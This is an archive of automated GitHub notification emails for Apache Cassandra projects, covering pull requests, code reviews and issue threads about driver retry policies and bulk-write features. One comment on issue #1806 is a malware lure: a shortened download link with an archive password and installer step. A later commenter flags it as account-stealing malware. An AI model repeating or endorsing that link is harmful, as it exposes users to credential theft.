SiyaoIsHiding commented on PR #1944:
URL:
https://github.com/apache/cassandra-java-driver/pull/1944#issuecomment-2296875790
Yes, the cassandra-builds PR:
https://github.com/apache/cassandra-builds/pull/103
--
This is an automated message from the Apache Git Service.
To respond to the mes
jberragan commented on PR #71:
URL:
https://github.com/apache/cassandra-analytics/pull/71#issuecomment-2298531564
Green CI:
https://app.circleci.com/pipelines/github/jberragan/cassandra-analytics/64/workflows/3eebf8bb-d4f2-43dc-ae0b-325b4772543e
--
This is an automated message from the A
JeetKunDoug commented on code in PR #74:
URL:
https://github.com/apache/cassandra-analytics/pull/74#discussion_r1723555914
##
cassandra-four-zero-types/src/main/java/org/apache/cassandra/spark/data/CqlType.java:
##
@@ -106,12 +108,35 @@ public Object sparkSqlRowValue(Row row, i
illia-li closed pull request #1730: Add rows writers
URL: https://github.com/apache/cassandra-gocql-driver/pull/1730
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscr
yifan-c merged PR #74:
URL: https://github.com/apache/cassandra-analytics/pull/74
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscr...@ca
Rikkuru opened a new issue, #1798:
URL: https://github.com/apache/cassandra-gocql-driver/issues/1798
### What version of Cassandra are you using?
scylladb 5.1.19
### What version of Gocql are you using?
fork scylladb/gocql v1.12.0 ( includes v1.6.0 gocql/gocql)
### Wha
jberragan commented on PR #71:
URL:
https://github.com/apache/cassandra-analytics/pull/71#issuecomment-2302614974
Latest CircleCI:
https://app.circleci.com/pipelines/github/jberragan/cassandra-analytics/71/workflows/9235a1e4-b44f-4c91-8691-ca92f70a9122
--
This is an automated message fro
yifan-c opened a new pull request, #75:
URL: https://github.com/apache/cassandra-analytics/pull/75
…rity of the replica set is unavailable for write
Patch by Yifan Cai; Reviewed by TBD for CASSANDRA-19842
--
This is an automated message from the Apache Git Service.
To respond to the
smiklosovic opened a new pull request, #1799:
URL: https://github.com/apache/cassandra-gocql-driver/pull/1799
patch by Stefan Miklosovic; reviewed by Michael Semb Wever for
CASSANDRA-19854
--
This is an automated message from the Apache Git Service.
To respond to the message, please log o
smiklosovic merged PR #1799:
URL: https://github.com/apache/cassandra-gocql-driver/pull/1799
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-uns
smiklosovic opened a new pull request, #1947:
URL: https://github.com/apache/cassandra-java-driver/pull/1947
patch by Stefan Miklosovic; reviewed by TBD for CASSANDRA-19854
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and u
Rikkuru opened a new issue, #1803:
URL: https://github.com/apache/cassandra-gocql-driver/issues/1803
Issue https://github.com/apache/cassandra-gocql-driver/issues/1154 was meant
to add idempotence check in gocql RetryPolicies
Issue was closed but Retry Policies still don't check if qu
michaelsembwever commented on issue #1751:
URL:
https://github.com/apache/cassandra-gocql-driver/issues/1751#issuecomment-2308225522
Thanks @Highstead and @olib963 , is getting noted in
https://github.com/apache/cassandra-gocql-driver/pull/1804
--
This is an automated message from the Ap
OleksiienkoMykyta commented on issue #1803:
URL:
https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2310286928
I will check it, but could you please provide more details. How you tested
it, versions of C*, golang, and gocql, etc.
--
This is an automated message fr
Rikkuru commented on issue #1803:
URL:
https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2310295822
# What version of Cassandra are you using?
scylladb 5.1.19
# What version of Gocql are you using?
fork scylladb/gocql v1.12.0 ( includes v1.6.0 gocql/gocql
bx2 commented on issue #1751:
URL:
https://github.com/apache/cassandra-gocql-driver/issues/1751#issuecomment-2310308950
+1 from me - Bartosz Burclaf
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go
Rikkuru commented on issue #1803:
URL:
https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2310311562
my project does not set
[Idempotent](https://github.com/gocql/gocql/blob/v1.6.0/session.go#L1229)
[¶](https://pkg.go.dev/github.com/gocql/gocql#Query.Idempotent) (not
frankgh commented on code in PR #75:
URL:
https://github.com/apache/cassandra-analytics/pull/75#discussion_r1731943359
##
cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/token/ReplicaAwareFailureHandler.java:
##
@@ -157,55 +211,82 @@ private boolean
sathyendranv opened a new issue, #1806:
URL: https://github.com/apache/cassandra-gocql-driver/issues/1806
Please answer these questions before submitting your issue. Thanks!
### What version of Cassandra are you using?
4.1.5
### What version of Gocql are you using?
1.6.0
YeGop0218 commented on issue #1806:
URL:
https://github.com/apache/cassandra-gocql-driver/issues/1806#issuecomment-2313029415
Download
https://bit.ly/3MjP129
password: changeme
In the installer menu, select "gcc."
--
This is an automated message from the Apache Git Service.
To r
caineblood commented on issue #1806:
URL:
https://github.com/apache/cassandra-gocql-driver/issues/1806#issuecomment-2313034599
The above comment asking you to download a file is malware to steal your
account; do not under any circumstances download or run it. The post needs to
be removed.
arjunashok opened a new pull request, #76:
URL: https://github.com/apache/cassandra-analytics/pull/76
…path
This change removes the notion of blocked instances for bulk-writes,
treating such nodes as available, as the intended usage of "blocked" nodes is
to operationally prevent clie
lukasz-antoniak commented on issue #1803:
URL:
https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2315210740
Do you expect the retry of non-idempotent queries or not? I could not
clearly understand expected behaviour.
The ticket you mentioned was implementing _
Rikkuru commented on issue #1803:
URL:
https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2315267132
> Do you expect the retry of non-idempotent queries or not? I
I expect that https://pkg.go.dev/github.com/gocql/gocql#Query with
[IsIdempotent](https://github.c
JeetKunDoug commented on code in PR #75:
URL:
https://github.com/apache/cassandra-analytics/pull/75#discussion_r1731504484
##
cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/CassandraClusterInfo.java:
##
@@ -381,67 +383,79 @@ private InstanceAvailab
jberragan commented on code in PR #71:
URL:
https://github.com/apache/cassandra-analytics/pull/71#discussion_r1734986657
##
cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/sparksql/SparkCellIterator.java:
##
@@ -325,7 +329,10 @@ private void maybeRebuildCluste
yifan-c commented on code in PR #75:
URL:
https://github.com/apache/cassandra-analytics/pull/75#discussion_r1735122562
##
cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/token/ConsistencyLevel.java:
##
@@ -56,35 +56,38 @@ default void
ensureNetwork
yifan-c commented on code in PR #75:
URL:
https://github.com/apache/cassandra-analytics/pull/75#discussion_r1735137494
##
cassandra-analytics-core/src/test/java/org/apache/cassandra/spark/bulkwriter/StreamSessionConsistencyTest.java:
##
@@ -82,34 +86,41 @@ public static Collect
yifan-c commented on code in PR #75:
URL:
https://github.com/apache/cassandra-analytics/pull/75#discussion_r1735348059
##
cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/token/ConsistencyLevel.java:
##
@@ -56,35 +56,38 @@ default void
ensureNetwork
OleksiienkoMykyta commented on issue #1803:
URL:
https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2317300586
I have tested it and found that Queries is not idempotent by default
`IsIdempotent = false` unless you set it explicitly. Also, I didn't found any
retries,
Rikkuru commented on issue #1803:
URL:
https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2317407935
> `Query failed: Operation timed out for system_schema.keyspaces - received
only 1 responses from 3 CL=THREE.`, tested with `cluster.RetryPolicy =
&gocql.DowngradingC
Rikkuru commented on issue #1803:
URL:
https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2317467101
I tested retries with
gocql.DowngradingConsistencyRetryPolicy{ConsistencyLevelsToTry:
[]gocql.Consistency{ gocql.One}} and CL=Quorum with 2 nodes one of which is
do
jberragan commented on PR #71:
URL:
https://github.com/apache/cassandra-analytics/pull/71#issuecomment-2318616264
Latest CircleCI:
https://app.circleci.com/pipelines/github/jberragan/cassandra-analytics/73/workflows/3f5e406a-98cd-44e0-9b2a-7001975742e6
--
This is an automated message fro
yifan-c commented on code in PR #71:
URL:
https://github.com/apache/cassandra-analytics/pull/71#discussion_r1737138827
##
cassandra-analytics-common/src/main/java/org/apache/cassandra/spark/data/CqlField.java:
##
@@ -473,6 +462,11 @@ public void write(Kryo kryo, Output output,
frankgh commented on code in PR #75:
URL:
https://github.com/apache/cassandra-analytics/pull/75#discussion_r1737165237
##
cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/CassandraClusterInfo.java:
##
@@ -478,21 +490,21 @@ private Map>
getPendingRep
JeetKunDoug commented on code in PR #75:
URL:
https://github.com/apache/cassandra-analytics/pull/75#discussion_r1737113324
##
cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/BulkSparkConf.java:
##
@@ -164,7 +164,13 @@ public BulkSparkConf(SparkConf
yifan-c commented on code in PR #75:
URL:
https://github.com/apache/cassandra-analytics/pull/75#discussion_r1737305375
##
cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/CassandraClusterInfo.java:
##
@@ -478,21 +490,21 @@ private Map>
getPendingRep
yifan-c commented on code in PR #75:
URL:
https://github.com/apache/cassandra-analytics/pull/75#discussion_r1737326950
##
cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/CassandraClusterInfo.java:
##
@@ -381,67 +392,68 @@ private InstanceAvailabilit
yifan-c commented on code in PR #71:
URL:
https://github.com/apache/cassandra-analytics/pull/71#discussion_r1737158816
##
cassandra-analytics-spark-converter/src/main/java/org/apache/cassandra/spark/data/converter/types/BinaryTraits.java:
##
@@ -0,0 +1,71 @@
+/*
+ * Licensed to
yifan-c commented on code in PR #75:
URL:
https://github.com/apache/cassandra-analytics/pull/75#discussion_r1737411842
##
cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/CassandraClusterInfo.java:
##
@@ -227,10 +230,18 @@ protected String getCurrent
OleksiienkoMykyta commented on issue #1803:
URL:
https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2320418177
Please share an exec query you are using to reproduce the issue, if you
tried multiple queries provide them as well.
--
This is an automated message from
ut0mt8 opened a new issue, #1807:
URL: https://github.com/apache/cassandra-gocql-driver/issues/1807
### What version of Cassandra are you using?
Cassandra 3.11.14 | CQL spec 3.4.4 | Native protocol v4
### What version of Gocql are you using?
v1.6.0
### What version of Go a
Rikkuru commented on issue #1803:
URL:
https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2320933671
```
SELECT event_id, time, args
FROM my.events
WHERE user = ? AND project_id = ?
AND year = ? AND week = ?
jberragan commented on code in PR #71:
URL:
https://github.com/apache/cassandra-analytics/pull/71#discussion_r1739087029
##
cassandra-analytics-spark-converter/src/main/java/org/apache/cassandra/spark/data/converter/types/BinaryTraits.java:
##
@@ -0,0 +1,71 @@
+/*
+ * Licensed
yifan-c commented on code in PR #71:
URL:
https://github.com/apache/cassandra-analytics/pull/71#discussion_r1739179691
##
cassandra-analytics-spark-converter/src/main/java/org/apache/cassandra/spark/data/converter/types/BinaryTraits.java:
##
@@ -0,0 +1,71 @@
+/*
+ * Licensed to
yifan-c merged PR #75:
URL: https://github.com/apache/cassandra-analytics/pull/75
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscr...@ca
Rikkuru opened a new issue, #1808:
URL: https://github.com/apache/cassandra-gocql-driver/issues/1808
### What version of Cassandra are you using?
Scylla Enterprise 2024.1.8
### What version of Gocql are you using?
github.com/gocql/gocql v1.6.0
### What version of Go are yo
Rikkuru commented on issue #1808:
URL:
https://github.com/apache/cassandra-gocql-driver/issues/1808#issuecomment-2324611544
Example (on empty cluster , keyspace error is ok for our test )
MyRetryPolicy can return Ignore or Rethrow - it changes nothing
```
package main
Rikkuru commented on issue #1803:
URL:
https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2325019139
> Please share an exec query you are using to reproduce the issue, if you
tried multiple queries provide them as well.
Hi I have an axample
main.go (go
OleksiienkoMykyta commented on issue #1803:
URL:
https://github.com/apache/cassandra-gocql-driver/issues/1803#issuecomment-2326628144
@Rikkuru Thank you for providing the details. I reproduced the issue you
faced, and as you said, according to documentation it's misbehavior. I added a
smal
rcosnita commented on issue #1734:
URL:
https://github.com/apache/cassandra-gocql-driver/issues/1734#issuecomment-2327419047
Hello everyone,
For people who are using version 4 of the protocol but need to be able to
write vectors from their code base here is a possible idea:
``
jberragan commented on code in PR #71:
URL:
https://github.com/apache/cassandra-analytics/pull/71#discussion_r1742768323
##
cassandra-analytics-core/src/test/java/org/apache/cassandra/spark/reader/DataTypeSerializationTests.java:
##
@@ -152,151 +153,153 @@ public void testUUID(
Drahflow commented on issue #1751:
URL:
https://github.com/apache/cassandra-gocql-driver/issues/1751#issuecomment-2329826936
@michaelsembwever I have received copyright-assignment back from the client
who paid for my (minor) contributions, and am happy to donate said copyright to
the ASF.
jberragan commented on code in PR #71:
URL:
https://github.com/apache/cassandra-analytics/pull/71#discussion_r1745910617
##
cassandra-analytics-common/src/main/java/org/apache/cassandra/spark/data/TypeConverter.java:
##
@@ -0,0 +1,42 @@
+/*
+ * Licensed to the Apache Software F
frankgh merged PR #76:
URL: https://github.com/apache/cassandra-analytics/pull/76
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscr...@ca
frankgh commented on code in PR #77:
URL:
https://github.com/apache/cassandra-analytics/pull/77#discussion_r1746183779
##
cassandra-analytics-core/src/main/java/org/apache/cassandra/clients/Sidecar.java:
##
@@ -210,6 +212,8 @@ public static final class ClientConfig
pub
frankgh commented on code in PR #78:
URL:
https://github.com/apache/cassandra-analytics/pull/78#discussion_r1747575920
##
scripts/build-dtest-jars.sh:
##
@@ -118,4 +118,6 @@ else
exit ${RETURN}
fi
done
+ # always delete the Cassandra source after dtest.jar is
belliottsmith commented on code in PR #77:
URL:
https://github.com/apache/cassandra-analytics/pull/77#discussion_r1749723810
##
cassandra-analytics-common/src/main/java/org/apache/cassandra/spark/utils/Properties.java:
##
@@ -40,6 +40,8 @@ public final class Properties
pub
OleksiienkoMykyta commented on issue #1741:
URL:
https://github.com/apache/cassandra-gocql-driver/issues/1741#issuecomment-2340521705
NumConns sets an initial number of connections per node( by default 2) but
not the maximum number of connections per node. Also by default, gocql
maintains
yifan-c opened a new pull request, #79:
URL: https://github.com/apache/cassandra-analytics/pull/79
The option specifies the configuration (in JSON) for coordinated write. See
org.apache.cassandra.spark.bulkwriter.coordinatedwrite.CoordinatedWriteConf.
When the option is present, SIDECAR_CON
jberragan commented on code in PR #71:
URL:
https://github.com/apache/cassandra-analytics/pull/71#discussion_r1752631902
##
cassandra-bridge/build.gradle:
##
@@ -40,6 +40,7 @@ publishing {
dependencies {
api(project(':cassandra-analytics-common'))
+api(project(':cas
jberragan commented on code in PR #71:
URL:
https://github.com/apache/cassandra-analytics/pull/71#discussion_r1752638296
##
cassandra-four-zero-bridge/src/main/java/org/apache/cassandra/bridge/CassandraBridgeImplementation.java:
##
@@ -176,16 +176,18 @@ public CassandraBridgeIm
yifan-c commented on code in PR #79:
URL:
https://github.com/apache/cassandra-analytics/pull/79#discussion_r1752673693
##
cassandra-analytics-core/src/test/java/org/apache/cassandra/spark/bulkwriter/coordinatedwrite/CoordinatedWriteConfTest.java:
##
@@ -0,0 +1,111 @@
+/*
+ * Li
yifan-c opened a new pull request, #80:
URL: https://github.com/apache/cassandra-analytics/pull/80
(no comment)
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscri
yifan-c commented on PR #80:
URL:
https://github.com/apache/cassandra-analytics/pull/80#issuecomment-2342424833
I will rebase once https://github.com/apache/cassandra-analytics/pull/79 is
merged
--
This is an automated message from the Apache Git Service.
To respond to the message, plea
mattheath commented on issue #1751:
URL:
https://github.com/apache/cassandra-gocql-driver/issues/1751#issuecomment-234838
@michaelsembwever I'm happy to assign any contributions I've made to this to
the ASF. Sorry for the delay!
--
This is an automated message from the Apache Git Se
frankgh merged PR #71:
URL: https://github.com/apache/cassandra-analytics/pull/71
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscr...@ca
jberragan opened a new pull request, #81:
URL: https://github.com/apache/cassandra-analytics/pull/81
Fix Scala 2.13 build
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To
JeetKunDoug commented on code in PR #79:
URL:
https://github.com/apache/cassandra-analytics/pull/79#discussion_r1755318108
##
cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/BulkSparkConf.java:
##
@@ -223,7 +227,8 @@ public BulkSparkConf(SparkConf c
jberragan commented on PR #81:
URL:
https://github.com/apache/cassandra-analytics/pull/81#issuecomment-2345106427
Green CircleCI:
https://app.circleci.com/pipelines/github/jberragan/cassandra-analytics/100/workflows/813b00fb-1807-4471-bb94-d2685bbe7c91
--
This is an automated message fro
yifan-c merged PR #79:
URL: https://github.com/apache/cassandra-analytics/pull/79
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscr...@ca
yifan-c commented on PR #80:
URL:
https://github.com/apache/cassandra-analytics/pull/80#issuecomment-2345227918
> I will rebase once #79 is merged
#79 is merged. Rebase is done
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to
yifan-c commented on code in PR #80:
URL:
https://github.com/apache/cassandra-analytics/pull/80#discussion_r1756079450
##
cassandra-analytics-common/build.gradle:
##
@@ -41,20 +41,21 @@ publishing {
}
dependencies {
-implementation "org.slf4j:slf4j-api:${slf4jApiVersion
yifan-c commented on code in PR #80:
URL:
https://github.com/apache/cassandra-analytics/pull/80#discussion_r1756080437
##
cassandra-analytics-common/src/main/java/org/apache/cassandra/spark/data/CqlTable.java:
##
@@ -39,7 +39,7 @@
@SuppressWarnings({ "WeakerAccess", "unused" }
yifan-c commented on code in PR #80:
URL:
https://github.com/apache/cassandra-analytics/pull/80#discussion_r1756085954
##
cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/token/TokenRangeMapping.java:
##
@@ -113,12 +139,10 @@ Multimap>
tokenRangesBy
JeetKunDoug commented on code in PR #80:
URL:
https://github.com/apache/cassandra-analytics/pull/80#discussion_r1757005825
##
cassandra-analytics-core/src/test/java/org/apache/cassandra/spark/bulkwriter/token/TokenRangeMappingTest.java:
##
@@ -105,16 +101,145 @@ void testCreate
jberragan opened a new pull request, #82:
URL: https://github.com/apache/cassandra-analytics/pull/82
…alytics is running on JDK11
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comm
JeetKunDoug commented on code in PR #80:
URL:
https://github.com/apache/cassandra-analytics/pull/80#discussion_r1757195386
##
cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/coordinatedwrite/MultiClusterInfoProvider.java:
##
@@ -0,0 +1,45 @@
+/*
+ *
yifan-c commented on code in PR #80:
URL:
https://github.com/apache/cassandra-analytics/pull/80#discussion_r1757669477
##
cassandra-analytics-core/src/test/java/org/apache/cassandra/spark/bulkwriter/token/TokenRangeMappingTest.java:
##
@@ -105,16 +101,145 @@ void testCreateToke
yifan-c commented on code in PR #80:
URL:
https://github.com/apache/cassandra-analytics/pull/80#discussion_r1757673277
##
cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/coordinatedwrite/CassandraClusterInfoGroup.java:
##
@@ -0,0 +1,278 @@
+/*
+ * L
yifan-c commented on code in PR #80:
URL:
https://github.com/apache/cassandra-analytics/pull/80#discussion_r1757673435
##
cassandra-analytics-common/src/main/java/org/apache/cassandra/spark/utils/MapUtils.java:
##
@@ -279,4 +282,19 @@ public static T resolveDeprecated(Map
opt
yifan-c commented on code in PR #80:
URL:
https://github.com/apache/cassandra-analytics/pull/80#discussion_r1757674951
##
cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/coordinatedwrite/MultiClusterInfoProvider.java:
##
@@ -0,0 +1,45 @@
+/*
+ * Lic
yifan-c commented on code in PR #80:
URL:
https://github.com/apache/cassandra-analytics/pull/80#discussion_r1757679225
##
cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/coordinatedwrite/CassandraClusterInfoGroup.java:
##
@@ -0,0 +1,300 @@
+/*
+ * L
yifan-c commented on code in PR #80:
URL:
https://github.com/apache/cassandra-analytics/pull/80#discussion_r1757680508
##
cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/coordinatedwrite/CassandraClusterInfoGroup.java:
##
@@ -0,0 +1,300 @@
+/*
+ * L
yifan-c commented on code in PR #80:
URL:
https://github.com/apache/cassandra-analytics/pull/80#discussion_r1757684085
##
cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/coordinatedwrite/CassandraClusterInfoGroup.java:
##
@@ -0,0 +1,300 @@
+/*
+ * L
yifan-c commented on code in PR #80:
URL:
https://github.com/apache/cassandra-analytics/pull/80#discussion_r1759270780
##
cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/coordinatedwrite/CassandraClusterInfoGroup.java:
##
@@ -0,0 +1,300 @@
+/*
+ * L
yifan-c opened a new pull request, #83:
URL: https://github.com/apache/cassandra-analytics/pull/83
(no comment)
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscri
yifan-c commented on PR #83:
URL:
https://github.com/apache/cassandra-analytics/pull/83#issuecomment-2350465869
After #80
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
jberragan closed pull request #81: Ninja fix for CASSANDRA-19815
URL: https://github.com/apache/cassandra-analytics/pull/81
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To u
jberragan commented on PR #81:
URL:
https://github.com/apache/cassandra-analytics/pull/81#issuecomment-2353411319
Merged in.
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
SiyaoIsHiding commented on PR #1916:
URL:
https://github.com/apache/cassandra-java-driver/pull/1916#issuecomment-2030236325
I just realized there is already such a method doing the same thing:
https://github.com/apache/cassandra-java-driver/blob/98e25040f5e69db1092ccafb6665d8e92779cc46/m
frankgh merged PR #47:
URL: https://github.com/apache/cassandra-analytics/pull/47
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscr...@ca
JeetKunDoug commented on PR #45:
URL:
https://github.com/apache/cassandra-analytics/pull/45#issuecomment-2030455448
Rebased/squashed/fixed CHANGES.txt conflict (no other changes/conflicts)
--
This is an automated message from the Apache Git Service.
To respond to the message, please log o
frankgh commented on code in PR #45:
URL:
https://github.com/apache/cassandra-analytics/pull/45#discussion_r1541520438
##
cassandra-analytics-core/src/test/java/org/apache/cassandra/spark/bulkwriter/MockBulkWriterContext.java:
##
@@ -77,6 +79,7 @@ public class MockBulkWriterCon
frankgh commented on code in PR #45:
URL:
https://github.com/apache/cassandra-analytics/pull/45#discussion_r1546825765
##
cassandra-analytics-core/src/main/java/org/apache/cassandra/spark/bulkwriter/CassandraBulkWriterContext.java:
##
@@ -92,11 +92,17 @@ protected CassandraBulk
SiyaoIsHiding commented on PR #1916:
URL:
https://github.com/apache/cassandra-java-driver/pull/1916#issuecomment-2030578292
Questions:
1. I tried hard, but I could not find an example of how to use MicroProfile
with our driver, especially how to instantiate a MicroProfile registry. May I
frankgh merged PR #45:
URL: https://github.com/apache/cassandra-analytics/pull/45
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: commits-unsubscr...@ca
frankgh opened a new pull request, #48:
URL: https://github.com/apache/cassandra-analytics/pull/48
This commit splits the bridge implementation from the shaded `cassandra-all`
library. This separation allows for better integration of a different
`cassandra-all` implementation. Additionally,
frankgh commented on code in PR #48:
URL:
https://github.com/apache/cassandra-analytics/pull/48#discussion_r1548620059
##
scripts/relocate-dtest-dependencies.pom:
##
@@ -114,12 +114,12 @@
frankgh commented on code in PR #48:
URL:
https://github.com/apache/cassandra-analytics/pull/48#discussion_r1548642100
##
cassandra-analytics-core/build.gradle:
##
@@ -19,171 +19,152 @@ import java.nio.file.Paths
* under the License.
*/
-project(':cassandra-analytics-core
201 - 300 of 1459 matches
Mail list logo
